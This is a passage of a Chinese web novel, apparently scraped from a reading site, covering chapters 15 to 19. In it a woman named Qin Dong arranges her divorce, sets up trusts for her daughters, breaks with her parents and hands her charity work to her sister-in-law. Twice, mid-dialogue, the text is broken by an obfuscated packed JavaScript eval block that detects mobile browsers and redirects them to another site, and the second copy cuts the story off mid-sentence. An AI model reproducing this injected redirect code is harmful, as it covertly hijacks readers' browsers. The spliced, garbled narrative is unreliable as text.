许多人都是这样看的吧。 包括自己的娘家。 可是,世界不该是这样的! 如果世界以一个女人是否得到一个有钱的男人做为输赢标准,那也太可笑了。 夜色无声袭来,路灯无声点亮,夜晚的喧嚣,烤串的焦香,汽水的凉意,混杂在温柔的晚风里,交织成一段最普通不过的时光。 秦冬想,我的确在人生最重要的两件大事上栽了大跟头,但也并非一无所获。她能感受到老板娘和范局长的善意,也能感受到表兄电话里的关心。 她现在住的是林霞家的房子……目光落在孩子们高高兴兴剥小龙虾吃的模样,我还有两个这样可爱懂事的孩子。 如果我像丧家之犬一样狼狈,那么,别人会怎样看待我的孩子呢?【魔.蝎.小.说 】 15、第十五章 秦冬第十五章 有时,人想通也就是一瞬间的事儿。 第二天,表哥表嫂们过来,秦冬提前准备了水果。许昭还把二姨家的表哥许羿一道叫来了。一起来的还有小舅家的儿媳妇赵雅。许羿哥的妻子是老师,得上课,许羿哥说,“她中午过来,咱们中午一起吃饭。” “午休时间短,别让嫂子来回跑,我没事儿了。”秦冬拿起水壶给大家泡茶,徐蔚嫂子接过水壶,“学校中午没饭,她也得回家吃。开车到县城没多远,咱们一起吃还热闹。” 赵雅帮着徐蔚嫂子把茶一人一杯分好,“我没叫李珍来。他那人,天生就是个和稀泥的。我说你别去给冬姐添堵,在家看孩子吧。” 若往日,秦冬是不会在意的。这回她直抒胸臆了,说,“我妈平时有什么好都想着李珍,他们姑侄本来就亲。可我对李珍也没差过,小雅,你们买大型收割机找我借钱,我有没有二话?” “冬姐你当时就把钱给我们转过来了。” “每年李珍去收麦子,到冯家村,我都是叫他到家里吃饭,年年都这样。冯春在外头助农,各村的支书村长,有不认识的,我都叫冯春带着李珍去认认人,以后收麦子方便,不然有些人瞅着是外村收割机,就爱欺负人。”秦冬说着就有些生气,“合着就我妈对李珍好,我这个做表姐的对他不好。” 赵雅尴尬,“我在家也说他了。” “你不用说他。他既然连是非都不分,以后我也懒得跟他走动。”秦冬对赵雅说,“小雅,我不是对你。我是说李珍这人,不值得交往。你跟他不一样,你是个明事理的人,咱们还是跟以前一样。” 原本徐蔚嫂子说秦冬昨儿在天风大酒店大发神威,给了冯春一大嘴巴,赵雅还不大信。觉着冬姐不像这么有刚性的人。 今儿见秦冬直接当她面儿把她老公——秦冬自己的舅家表弟骂一顿绝交,赵雅才算信了。 赵雅说,“我回家再骂他。” “这是你们的事。反正不要让他过来同我赔礼道歉,我这几天太忙,没空。”秦冬把保险、家族信托的资料递给大家,“我打算把离婚分割的财产给孩子们买几份保险,剩下的钱全部放进信托里。” 大家纷纷接来看。 保险大家是知道的。秦冬性格好,发家后没忘记兄弟姐妹,虽然大家没做成千万级大网红,也都有自己的事业。 许昭哥在市里做旅游,许羿哥也在县里有工厂,李珍有自己的收割机车队。大家在网上都有短视频账号,最初起号的时候,冯春都帮过忙。 当年借的钱早就还了。可要没秦冬最早扶的那一把,起码起家不会这么快。 大家有钱后都给家里老人孩子买过保险,不过,这种五百万起步的大额保险,都是头一回见。 家族信托更是传闻中的存在。 许昭哥问,“省会哪个工行的经理,我省会有几个朋友,我请他们帮忙打听打听,看这经理口碑怎么样,可不可靠?” 秦冬把吴经理的名片递给许昭哥,许昭哥用手机拍张照片还给秦冬。 许羿哥说,“离了也好。冬你还年轻,世上好男人多的是。不少媒人打听你,还有人问到我们这儿来的,打听你有没有离婚。我说就算我妹妹离了婚,还能今儿离婚,明儿就相亲啊。这些人也是离谱。” 徐蔚嫂子也说,“现在媒人都成生意了。他们做成一桩媒,媒人钱上万。像冬你这种条件好的,钱更多。” “他们看的也不是我这个人,不过是觉着我离婚能分不少钱。”秦冬喝口茶,讽刺道,“我有钱难道不给孩子,难道结个婚就要把身家给男人,做哪门子春秋大梦。” 她跟兄嫂说,“就是为了防止这些事,我才要提前给孩子们安排好。” 徐蔚嫂子实在好奇死了,悄悄问,“冬,你跟冯春商量好离婚的事吗?” “商量好了。我只要现金和市区的一套别墅。现金给孩子们做保险金和家族信托,别墅将来给孩子读书。孩子暂时由冯春爸妈带,等离婚的事了了,我去外头散散心。” 徐蔚嫂子很吃惊,“你不要孩子啊。” “我一个人带孩子太吃力了。”秦冬说,“这件事也跟孩子们商量过,有钱跟带着孩子们生活是两码事,我娘家没帮手,就我一个人,哪怕请保姆,遇事也容易抓瞎。不如先让孩子跟着爸爸,生活环境更稳定。” 许昭说,“我跟你嫂子平时都在市里,你带孩子到市里读书,咱们住近些,有事都能帮忙。” “昭哥,这是两码事。你们要忙得过来,当初就不会让大姨大姨夫去市里给孩子陪读了。”秦冬说的很现实,“养两个孩子,最少得两个人。儿子离婚,父母不用讲就会帮忙。父母同儿子是共患难的,同女儿只能共富贵。” “也不是所有父母都这样,人家有命好的,真心疼闺女。我不是没遇着么。”秦冬自嘲,“就是他们说愿意帮我,我也不敢答应。” 她给自己添了些茶水,淡淡道,“我跟娘家可能早有旧怨。当初俊彦要买地盖冷库,他俩找我借钱,等冷库盖起来后,自家水果赶不上行市,都会存在冷库里。也接外头生意。 冯春每年都会做很多场助农直播,认识的人多,经常给俊彦介绍生意。俊彦冷库干的挺好的。他攒了一年,还了我十万,剩下的慢慢还。我看俊彦把事业立起来,心里特别高兴。 可我妈知道后,跟我说了好几回,谁谁谁家的闺女给她弟弟买车买房开公司的话。 我不是听不出她这话是什么意思。冯春那时的确赚了钱,有了钱,兄弟姐妹拉帮一把是应该的。钱算清楚,以后来往更坦荡。要这么含糊着,我去给俊彦买车买房开公司,冯春也有妹妹。我们要不要也给冯敏买车买房开公司?” 以往秦冬是绝不会把这些事往外说的,现在她全无顾忌,索性摊开说给大家知道,“我爸妈,是恨不得把我的血吸干,全都给俊彦。” “冯春让人心寒,他们又比冯春强哪儿呢?”秦冬说,“我如果有个可靠的娘家,我就不会把俩孩子的抚养权给冯春。” 表兄嫂们并不知道这些事,都听沉默了。 所有心酸化为长长一叹,秦冬说,“不经事,永远看不清身边人的真面目。我看错了他们,但没看错你们。” “冬。咱们也不说客套话。”许昭没想到三姨夫妻这么不做人,他心里很心疼这个妹妹,问,“你要还有什么难处?有要帮忙的地方,只管说。咱们这么多人,在外头也认识不少人,我们不会让你吃亏。” 秦冬道,“离婚的事我已经跟冯春商量好了。期末考试后,两个孩子都会转到市区小学读书,就住在我名下的别墅里。我走后,也会跟孩子们保持联系。不过,我毕竟不在身边。你们有空常过去看看。 没人比我更知道没娘家的难处。你们是我的亲人,我会让冯家人知道,我娘家靠不住,可兄弟姐妹靠得住。 两个孩子除了我这个妈妈,还有很多亲人长辈疼她们、关心她们、关注她们。”【魔.蝎.小.说 】 16.第十六章 吃过午饭,离席结账前,秦冬郑重的说,“还有件事,大家不要把我的地址说出去,我现在只想尽快离婚,不想跟娘家浪费时间。” 大家纷纷应承,就是心里多少有些不得劲。 秦冬是谁啊,那是他们认识三十几年的表妹。这个妹妹以前真是连重话都说不出一句,突然说出这种尖锐中带一丝冷酷的话,难免让人不适。 不过,大家都理解。 谁像秦冬遇到这么多倒霉事儿也不可能还像从前那样温柔好性啊。 与表哥表嫂们告别后,秦冬自己开车回小区。 中午的阳光热烈如火,车中冷气驱散暑意,路畔洋槐飞速退去,秦冬想,还是这样好,有话痛痛快快说出来,舒畅多了。 * 徐蔚表嫂在车上就忍不住了,“我没好意思问,觉着不合适,你说小冬跟冯春离婚,分了多少钱啊?” “你都说不合适了,还问我,我能知道啊。”许昭说,“应该不少。光那保险就是500万起步。还有信托呢。” “我觉着起码应该有5000万。” “5000万也不多啊。”许昭说,“小冬跟冯春可是白手起家,按理财产有小冬一半。” “冯春又不傻,精的跟猴儿似的,这都要离婚了,难道不知道转移财产?” “看小冬的模样,对分到的金额肯定是满意的。”许昭说,“你一会儿叮嘱一下小雅,让她不要把小冬的地址跟李珍讲,李珍那个嘴,没个把门儿的。” 徐蔚答应下来,感慨,“小冬这人,人品真没的说。自己有一点好,都想着大家。要我说,冯春新找的那个,除了年轻点,哪儿比得小冬,有他后悔的时候!” 许昭冷哼一声,“以后走着瞧。” * 赵雅是搭许羿表哥的车一道来的,自然一道回去。许羿在车上就同她讲了,让她不要把秦冬的地址告诉李珍,许羿说,“咱们的嘴上都有门,就李珍,舅妈问他什么,他说什么,他瞒不住事儿。” “放心吧。羿哥,我肯定不跟他讲。”赵雅道,“我就觉着怪对不住冬姐的。” “这跟你没关系。”许羿道,“小冬也不会跟你生气。” 赵雅忍不住说,“三姨真有点极品。” “简直脑子有病。”许羿不客气的说,跟赵雅商量,“等什么时候咱们排个班,到时轮着去,一个星期一家。” “去看小铮小涵吗?” “嗯。”许羿道,“就是小冬走了,也得让姓冯的知道,小冬有的是娘家亲戚。” 赵雅很赞同,“行啊。这样好。咱们常去,孩子们还能在一起玩。” 赵雅倒是觉着,以前总觉着冬姐这人有些软弱,其实要紧的事儿,冬姐心里明镜似的。 * 关键,秦冬不只有姨舅家的亲戚,叔伯姑妈家的堂表亲,她也有好些。 鉴于秦冬从小到大老好人的做派,她不可能只帮姨舅家的亲戚,不帮叔伯姑妈家的亲戚,那不都一样么。 能帮的她没一次袖手。 所以,秦冬在亲戚里的人缘一直非常好。 二姑家的表哥一向消息灵通,很快也联系了秦冬。不过,先过来的是小姑子冯敏。 冯敏给秦冬打电话,让秦冬傍晚不用去接孩子,她一道给送过来。 冯敏平时住在市里,她以前跟丈夫都是市里私立高中的老师。后来冯春做短视频发家,冯敏也开了账号,不过,她做短视频天赋一般,账号没做起来。 后来秦冬生二胎,实在顾不上公司的事儿,主要账得有人接手。大家一商量,干脆让冯敏辞职,考了个会计证,冯敏就一直管着冯春公司的账务。 冯敏平时早八晚五过来县里上班,下班开车回家,来回俩小时车程,算是不远不近的距离。 冯敏在车上还跟俩侄女说哪,“真难得你妈自己站起来了!老天爷开眼。小铮,你不该骂你姥姥姥爷,你该感谢他们。要不是他们这么绝情,你妈现在还哭哭啼嘀那。” 冯铮道,“我正打算订面锦旗,到时敲锣打鼓的给我姥姥、姥爷送去。” 冯敏一阵笑,“算我一份,我出一半的钱。” 冯涵积极参与话题,伸出小胳膊,“也算我一份。” “行,咱们仨一人一份。”冯敏问俩侄女,“晚上想吃什么,姑姑请客。” 等姑侄仨到家,手里提满从饭店买的菜。冯敏说,“嫂子接一下,我车里还有水果。我去拿一下。” 秦冬忙接过冯敏手上的菜,问,“一个人拿得了不?” “拿得了。” 冯敏很快搬了两箱水果上来,一箱西瓜,一箱榴莲。个头不大,但冯敏一个人能搬五十六斤的东西,秦冬心中十分佩服。 想着养女随姑。以后小铮小涵的体格像姑姑就再好不过。 秦冬已经摆好饭菜,开始盛绿豆汤了。冯敏去卫生间洗了洗手,出来说,“姐,我昨儿听林霞姐说了件大快人心的事!听说你在天风给了我哥一个大嘴巴,是不是真的?” 秦冬哭笑不得,“咱们县小的,风吹片叶子都能传出八里地。” “你真让我刮目相看。”冯敏惋惜,“你该抽他十个八个的!” 冯铮问,“昨天怎么了?” 秦冬递给俩闺女一人一角饼,简单讲了个,冯铮立刻说,“妈,你就该给姓赵的两巴掌。好狗还不挡道呢。” “我等着看她的好下场。”秦冬嘲讽,“当嫁给你爸是什么好事儿。” 冯敏说,“嫂子你早该支愣起来了。你以前就是太好性儿,男人都犯贱,你越好他越是不知道珍惜。” 秦冬叹口气,“以前我没看出你哥是这种人。” “别说你,我也没看出来。”冯敏道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626377|205123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老话说,不破不立,否极泰来。嫂子你比我哥优秀的多。这回下定决心,可就别再受人哄骗了。尤其我爸妈,还做美梦,想你离婚后带俩孩子搁老家住,离婚不离家。” 冯铮,“奶奶还跟你说了啊。她一天跟涵涵念叨八遍,让涵涵同妈妈说,不要妈妈走。” 冯涵说,“我已经拒绝过奶奶了。奶奶还说。我跟奶奶讲过,别人拒绝过你,你就不能再说了啊。” 冯涵非常善解人意,“奶奶年纪大了,记性不好,就要多提醒她几次。” 冯敏夹块白切鸡,“我哥那自私劲儿,就是像我妈。大白天的发梦。” 秦冬说,“小敏你今天要不就住下吧。正好帮我看看保险和信托。” “行啊。我也是这么打算的。”冯敏说,“听妈说你是真的下决心离,我就赶紧来了。你不知道我哥有多少钱,我可是门清。” 秦冬对冯母了解颇深,“她跟你说,估计也是让你帮你哥把钱藏好了,少分我点。” 冯敏不以为然,“她跟我有啥交情啊!想当年,我跟陈浩结婚,本来陈浩家里就靠不住,彩礼钱都是陈浩自己打工攒的。妈还想扣下不给我。难道我们结婚后喝西北风啊!” 冯铮大为佩服,“大姑你竟然能从我奶奶手里把钱要回去!” “当时我跟你爷爷奶奶分别吵了三架!你爸就跟个泥鳅似的,就会和稀泥!”冯敏说到当年事都很气愤,“就你妈支持我!我才把彩礼钱要回来了!” “所以你看,我都给你妈叫姐的。这是我俩的私人感情,并不因为她是你爸的媳妇,是我认为你妈像大姐一样,人品好,又很明事理。” 秦冬被夸的有些羞涩,她说,“因为我自己完全做不到,我就很佩服像小敏你一样敢争敢闹的人。我也认为,彩礼钱应该给你。” “你看你心里什么都明白。” 秦冬笑笑。 冯敏也笑了。 她跟秦冬关系好,当然不只彩礼的事。她因为彩礼基本跟娘家闹崩,后来怀孕生产,坐月子的时候,婆家指望不上,亲娘也作妖,硬是浑身不舒坦,把冯敏气个好歹。 冯敏打电话跟秦冬说这事儿,秦冬担心冯敏月子里生气,气坏身体,跟冯春商量后,干脆让婆婆回家,她请了个保姆,一起照顾了冯敏一个月。等冯敏出了月子,依旧让保姆留下给冯敏搭把手,请保姆的钱还是秦冬出的。 当然,也是因为那时冯春拍短视频已经开始赚钱,才能出得起保姆费。 冯敏恩怨分明,心里一直很感激秦冬。以至于上次秦冬知道冯春出轨,竟然还肯回头,不离婚继续凑和过日子,真把冯敏气的不轻。 要冯敏说,这种男人还留着干嘛? 哪怕冯春是她哥,冯敏也不能违心说她哥是个好人。 家业这么大,离婚分一半,以后冬姐就是啥都不干,一辈子也不愁吃喝。 17.第十七章 吃完晚饭,姑嫂俩一起看保险和信托资料时,冯铮也过来跟着一起看。秦冬说,“小涵一个人在房间写作业吗?” “嗯。我让她写完作业再过来。”冯铮凑在妈妈身边,“跟小涵说了,等她写完,我检查没错,就让她跟着看。要是让我查出错来,就不许她一起看。” 秦冬没说啥,让闺女一起看保险,冯铮问,“妈妈,这是要给我和小涵买吗?” “嗯。我查了一些资料,也问了银行的吴经理,想给你们做成保险金信托,一部分买成大额保险,一部分做信托资金。” 冯铮好奇,“妈,你分了多少钱啊?” “一亿现金,外加市区一套别墅。” 冯铮瞪大眼睛,震惊极了,“咱家这么有钱吗?” 秦冬听笑了,“平时也过的很好啊。” “这完全不一样啊。我看网上有钱人都是浑身名牌,出入豪车豪宅。”冯铮对比一下,“咱家顶多就是房子装修的新一点,平时吃的好一点。龙虾鲍鱼这些再贵也花不了多少,而且味道也就那样。” 冯铮打小生活在冯家村,平时寒暑假一家人也常出去旅游,冯春在旅游上绝不肯委屈自己。他一向认为旅游是个苦差使,很累,所以出入都要舒适才行。吃饭也是当地啥好吃吃啥,还吃过被冯母形容的“大冤种”才去吃的米其林。 可冯铮也就认为自己家是一般的,稍微有点钱,的那种家庭。她有看过她爸账号的橱窗记录,成交记录是很高,但税也高,再加上支付员工工资。冯铮自己估计,家产也就几千万的样子。 冯敏跟侄女说,“你爸做起来后,就签了很多素人,培养他们做账号。那会儿短视频好做,这些账号赢利后他都有抽成的。还有自己的短视频培训学校。还有不少投资。身家很厚的。” “我爸这么低调的?我看他平时穿衣服特讲究,还会喷香水。以前的车好像四十多万,现在换的宝马会贵一点,也没有太离谱。我看军叔早开上大奔了。”冯铮想了又想,笃定道,“我爸真不像这种低调人。” “有钱后,想改善自己和家人的生活是很正常的,除此之外,也要拿出一些钱做善事,帮助那些需要帮助的人。”秦冬说,“四五十万的车就不差了。我记得头一回捐款,去政府接受表彰,表彰大会结束后,我们出来,我看到县长坐的是辆红旗,那辆车我查过售价,也就二三十万。” 秦冬说,“要我,想多花钱买豪车,买辆国产顶级新能源,又新潮又流行又爱国。” 冯敏从资料中抬头,忍不住问,“姐,就你这思想水平,你当年怎么看上我哥的?” “我也没啥思想水平。都明摆着的事儿,用啥思想水平啊。”秦冬不以为然,“小学时就学过,要艰苦朴素、乐于助人。你们不都学过吗?” “不是。姐,这年头,也就你还信这个吧?”冯敏感觉跟秦冬相处多年,她还是不够了解这个姐姐。冯敏说,“姐,你思想品格怎么这么高的?”以前我就觉着冬姐是个大好人,现在看来,冬姐品格仍在我想像之上啊。 “这就很平常啊。”秦冬说,“我妈一直说我不机伶,人有点傻。” “我姥姥是不是从不照镜子,她一个初中毕业,说你大专毕业的笨。”冯铮立刻反驳。 “那是小时候啦。家长都喜欢嘴甜、会说逗大人开心,要不就是长的漂亮、或者成绩好的孩子,我是各方面平平。我小时候,真觉着我妈很虚伪。她经常在外跟人说说笑笑,回家就说人家坏话。”秦冬一只手拿着笔,自从跟娘家翻脸,秦冬就特别热衷揭娘家老底,“我当时就觉着,这种机伶,我一辈子学不会啊。” 冯敏冯铮都被逗笑了,秦冬摊下手,“本来就这样啊。去姥姥家吃饭,也会说我不如表哥表姐有眼力,帮着端盘子端碗,给长辈打下手。 我舅老爷在北京工作,家庭条件挺好的,有一回回老家,请大家去饭店吃饭,她回家又说我光知道吃,也不知道过去多跟舅老爷说几句话。” 冯铮很严肃的跟冯敏说,“我怀疑我姥姥有精神病。” 冯敏,“是该把你姥姥送精神病院做个检查。” 冯铮还跟妈妈道歉,“妈,以前我说你窝囊,是我不懂事。像你这样长大,的确很难长成一个强硬的人。” 秦冬笑了笑,“后来我上大专,遇到了改变我一生的一件事。” 秦冬陷入回忆,双眸泛起一丝很淡的欢喜,“到大专大家有手机有电脑,我经常上网。我好歹是考上大专的脑子,在一个论坛,我就说了我的事,我觉着我也不至于一无是处。 有位网友给我留言说,如果你不知道要怎样生活,不知道要怎样面对这个世界,建议你多看伟人传记。你的父母是很差劲的榜样,不要受他们的恶习影响。如果你生活中没有一个榜样,不妨学习伟人。 学习伟人不一定能成为伟人,但也比受你父母熏陶强百倍。求其上者得其中,求其中者得其下。” 事隔多年,秦冬都能复述下来,可见是看过很多遍,认真记在心里。 “这个网友真的好有学问,我也觉着,哪怕跟着书学做人,也能成为比父母更好的人。”秦冬道,“我就经常去图书馆借伟人传记看。我天资虽然普通,但我踏实勤快,学习努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是一笔不那么巨大的钱,在小地方,即使有人赞叹几句,也就这样。搁大城市,也就是中产水平。这也是一笔能让你哥心甘情愿拿出来的钱。 我一个人,是很难面面俱到保护孩子的。我拿大笔的钱,第一个不放过我的人是我的娘家。我提前把钱安排给两个孩子,在你哥看来,这跟没拿钱是一样的。 他的确婚内出轨,可这么多年,他一直对孩子不错。如果有人敢打俩孩子的主意,你哥就不会答应。 而每个人五千万的数字,依你哥现在的身家,他不会为这点钱算计自己的女儿。” 秦冬声音很轻,眼睛里却闪过一丝自己都未察觉的锋芒,“如果我有个鼎力的娘家,我会拿走两亿。如果我娘家略有一些地位,三亿也拿得走。 我反复想过,这是最合适的选择。” 18、第十八章 秦冬第十九章 以往,冯敏只觉冬姐是个极好的人,就因为性格太好,很容易受欺负。 现在才知自己浅薄。 冬姐看的比自己远。 怪不得小铮小涵学习都好,这都是随冬姐啊。 冯敏说,“就是这样放过我哥,真有点不甘心。” “过几天我介绍个人给你认识。” “谁呀?” “民政局范局长。” “范局长,我认识呀。”自从冯春有钱,没少给县里捐钱捐物做慈善,冯敏是公司会计,也会与民政局打交道。 “范局长为人不错。捐的钱都能落到实处上。但也要注意察看,不然很容易被贪掉。”秦冬说,“你多留心。 养老院房子每年检修一下,该换的换一下,该添的添一些。用不了多少钱,就是要用心。困难老人、残疾人、贫困儿童一对一的帮扶,定期看一下他们的生活情况。” 秦冬说,“这些事,比较琐碎,也不光鲜,小敏,你愿意做吗?” “这没问题。”冯敏应承下来。公司的视频号也经常宣传一下慈善活动,风评颇佳。 “要长期做。” “没问题。”冯敏说,“只是我性格不像冬姐你好,但我一定尽力。” “行。”秦冬很欣慰,“有钱后就应该多做些有益社会的事。你跟妹夫的私立学校办的很好,你们都是老师出身,一定做的比我还好。” “冬姐,我跟你比还差的远。”冯敏此时说这话,当真是心悦诚服。 “你可是本科,我才大专。”秦冬伸出双手,握住冯敏的手,如同在交接信仰的火种,“那我县慈善总会温暖小队队长的位子便给你了。” * 秦冬还把自己以前做慈善的记录册给了冯敏,有些要长线做的,像一对一帮扶,就需要冯敏继续做下去。 有些像逢年过节去敬老院送东西,还有请理发师给到村委,六十岁以上老人免费理发、发米面粮油的事,秦冬记录的很详细,连在哪家超市买东西最实惠,以及每次买哪些东西,都记的清清楚楚。 还有一份电子的发冯敏邮箱。 冯敏抚摸着本子感慨,“姐你好认真。” “当然要认真了。”秦冬说,“我读大专时每年都申请助学金,每个月有三百块钱,那时每月都盼着。” 把慈善事业交接给冯敏,姑嫂俩继续看保险单和信托资料,没一会儿,冯涵写完作业,也出来凑热闹。 冯涵啥都看不懂,不过,她喜欢凑到一起听大人们说话。 秦冬计划明天开始带冯敏去敬老院见一见院长、还有一对一扶助的那些人家走一走,也算是一个交接。 让大家知道,以后的事情还有人接手有人管。 冯铮说,“妈,你还记着这些事啊。” “嗯。这得有始有终啊。”秦冬明白女儿的意思,女儿是觉着自己就够惨了,还想着别人。秦冬喝口水,“之前我光顾着自己伤心,也没想着他们。我现在想开了,不伤心了,才想起来。” 冯铮认为自己妈妈绝对是世上最最好的人。 秦冬是想离开之前,跟亲戚朋友们好好告个别。 她没有任何错,她是受害者,即使要走,也要挺直脊背体面的走,光明正大的走。而不是流着眼泪,像个被抛弃的女人一样,在灰暗的雨天无人知晓的离开。 以前跟冯春是夫妻,秦冬不在意自己是不是处在一个附属位。 现在不一样,她得让大家知道,即使离婚,她在品行上也是干净的,没有任何错处的。 没有冯春,她也有自己的亲戚朋友。 赵莹冯春拿名声当狗屎,觉着有钱就什么都有了。秦冬的认知和这俩人恰恰相反,秦冬认为在任何时候名誉都是非常重要的事。 * 第二天上午,秦冬打电话给范局长,约了下午过去。 她开车到公司门外等冯敏下来,今天的值班门卫是冯春的二姑父,二姑父在家没事,做门卫赚钱,每月三千块,在县里算是不错的收入。 二姑父见是秦冬的车,过去见果然是秦冬,马上招呼,“冬,快进来。” “不了。我等小敏,一会儿去趟民政局。” 二姑父顿时吓一跳,“还真离啊?” “我是找小敏有事。离婚得跟冯春一道,叫小敏有什么用。” 二姑父看她意态轻松,也放松下来,劝她说,“小春一时犯浑,你别跟他计较,就当看孩子面儿上。” “离了也好。我跟他结婚十几年,我的人品,大家都知道。这也是实在过不了了。”秦冬远远见冯敏过来,同二姑父说,“二叔,我们先走了。以后再聊。” 二姑父见秦冬称呼都改了,应承两句,“好,好。”又说,“冬,以后到家去,我当你亲侄女。” 秦冬含笑点点头。 冯敏上车,二姑父叮嘱两句,秦冬就开车走了。 二姑父站原地叹两口气,深觉冯春昏头。 冯敏坐副驾,系上安全带,跟秦冬说,“大姑二姑三姑还有大伯小叔,都跟我打听你跟我哥离婚的事。” “老一辈都争强好胜,你大姑二姑小叔人都挺好,你大伯三姑完全就是想听点笑话,好幸灾乐祸,高兴高兴。” “还真不是。”冯敏说,“听我妈说,现在家里见天跟开会似的,大伯一大早,吃完早饭就过去,第一个到。二姑晚一点,大姑住外村,得大姑父骑电瓶车带她过去,最后一个到。三姑小叔都不在家,每天跟我爸妈视频,主旨就是让我爸妈劝我哥别昏头。说嫂子你这么好的儿媳妇要是离了,那是再找不着第二个的。” 秦冬有些意外,“我在你家人缘儿这么好的?” 秦冬笑着摇头,“他们是跟我打交道惯了,换了赵莹,怕不习惯。赵莹家亲戚多是做公务员的,以后办事更方便。” 赵敏可不这样看,“大家都不傻,赵莹什么人品,你什么人品。上年纪的人,心里都明镜似的,知道谁可靠。” 秦冬说,“我跟你大伯交情也一般。这么多年,他就每年送我俩自己打的扫帚。” 冯敏忍着笑,“在你之前,大伯连根草都没给过我们。” 想到冯家这些抠门亲戚,秦冬也是直笑。 冯敏侧脸看向秦冬,柔声说,“姐,大家心里都知道你的好。” 秦冬心中发酸,眼眶微热,她翘起嘴角,“那很好啊。说明这些年,我没白尽心。” * 县城不大,民政局也不远,二十几分钟车程也就到了。 范局长就在办公室。秦冬的温暖义工小队挂靠在民政局的慈善工会下头,每年都要来几趟。 范局长还兼着慈善总会会长的职。 秦冬在这里也算熟,敲敲门,听到里面说进来,秦冬才推门进去。 范局长笑着起身,“是小秦你呀,直接进来就行。” “那不行。多没礼貌。”秦冬带冯敏进去,“您别忙,我们自己来。” 秦冬拿俩一次性纸杯,接两杯常温纯净水,跟冯敏一人一杯,过去坐下说话。跟范局长说,“等我离婚后,就不在县里了,打算出去转转。今天带小敏过来,也是想跟您正式介绍一下,义工小队的事,我交给小敏了。” “好啊。”范局长先说,“出去看看也好,你正年轻,多去开开眼界,没坏处。” 又对冯敏说,“小冯以前就见过,只是见的不多。” 冯敏说,“我在公司管着财务,在义工慈善这块是新手,以后还得您多指点我。” “这没问题。只要有心,我们能做的事有很多。” 秦冬跟冯敏说,“范局长是做实事的好人,你多跟范局长学,受益无穷。” 范局长头一遭听这样的直白马屁,倍觉好笑,“小秦你什么时候学的这些奉承本领啊。” “我说的是实话。”秦冬特直白,“我开始完全不懂,想做点好事,不知道怎么开始,都是请教您,您指点我,我才明白的。” “那是小秦你有心。” 秦冬同范局长说,“小敏比我更好,她是省公立师范大学毕业,正儿八经的本科,以前做过高中老师,做事又爽快又麻利,还特负责。” “一看就是人才。” 冯敏,“真不敢当。反正我不懂就向您请教,您要觉着我哪里不妥,只管指教。” 大家寒暄几句,秦冬起身告辞,范局长留客,“等一下,有个东西送你。” 他同秦冬认识有十来年了,是看着秦冬十年坚持下来,认认真真做慈善的。范局长起身,去办公桌抽屉里拿了个系着丝绳的卷轴出来,递给秦冬,“你走的时候就不送你了。这是我写的一幅字,就当送别礼吧。” “好。”秦冬接过卷轴,“我回去再看。” 范局长送她到门口,“你还年轻,多走一走,看一看不是坏事。小秦,我比你年长,倚老卖老说一句,日子长着哪。凭你的能力,在哪儿都差不了。” “借您吉言。我肯定会好好的。” “等以后回来,也要过来坐一坐。咱们认识这些年,除了慈善上的事,也是朋友。” * 从范局长办公室出来,姐妹二人下楼的时候,遇到了一位模样颇干练的中年女士。那人见到秦冬时露出显而易见的惊讶,秦冬温和的唤了声,“姚大姐,你好。” “你好。小秦,你过来,是不是有事?”姚大姐眼睛里带了关心。 “过些天我就要走了。以后我们义工小队的事交给我妹妹小敏负责,我带她过来见一见范局长,也是做一下交接。” “哦。”姚大姐的神色带了一丝黯然与歉疚。 秦冬微微颔首,“姚大姐,您忙吧。我们先走了。” “哦。好,好。” 下楼时,两人都很客气的错身让出一部分空间。错身而过时,姚大姐猛然反应过来,转身看向秦冬,问,“小秦,什么是你要走了,你是要离婚了吗?” “是。”秦冬说,“大姐,我先走了。” 一直到上了车,阖上车门,隔绝外面声音,冯敏才忍不住好奇问,“姐,这个姚大姐是谁啊?” “她是于副县长的妻子,赵莹的舅妈,一直在慈善总会工作,以前就认识。” 中控与仪表屏逐一点亮,秦冬握住方向盘,车身平稳起步,冯敏听到她平静无波的声音,“没有赵莹的事前,关系还挺好的。”【魔.蝎.小.说 】 19、第十九章 将冯敏送回公司,秦冬看看时间,就去接孩子放学了。 晚上,姑伯家的几位表姐堂哥相约过来看秦冬,大家定在天风大酒店。孩子们放学时间早,冯涵写完作业,秦冬带着两个孩子一起过去。 冯铮路上就问都有谁一道吃饭,秦冬大致说了。冯铮说,“除了姥姥、姥爷,大家都知妈妈的情,记得来看看咱们。” 冯涵跟着帮腔,“姥姥、姥爷可坏了。” 要是以前,哪儿能听孩子们说长辈的不是。秦冬按下条件反射想纠正孩子的冲动,很郑重的表示赞同,“说的对。我们要离坏人远一些。” 冯铮说,“妈妈,我估计过不了几天姥姥、姥爷就能找来。” “他们来就来。只要我们心里知道谁远谁近,他们来也影响不到我们的生活。” 冯铮嘴角翘起来,她很矜持的抿了抿嘴,歪头看向窗外风景,心情大好:妈妈是很心软的,但只要妈妈下定决心的事,那是九头牛都拉不回来的。 讨厌的姥姥、姥爷终于受到报应了。 冯铮哼着歌,“晚上我要吃两碗饭!”庆祝一下。 冯涵啥都跟姐姐学,举着小手表示,“我努力吃一碗半!” * 天风大酒店。 二姑家的大表哥夫妻来的挺早,不过,比他们更早的是秦俊彦李红夫妻。志强哥叮嘱他俩,“千万别提你爸妈的话,一个字都别提。昨天我给小冬打电话,她说你们来可以,但不要说扫兴的话,不要给她添堵。” 李红保证,“志强哥你放心吧。我们绝对不提。就是担心大姐,只要大姐好好的,我们就放心了。” 秦俊彦点头,“不提。” 志强哥的妻子孔祥英跟丈夫说,“来之前,妈跟我说,二舅妈的确有错,不怪小冬生气。可二舅可什么伤人的话都没说过。妈说让我跟小冬说清楚,那还要不要说。” 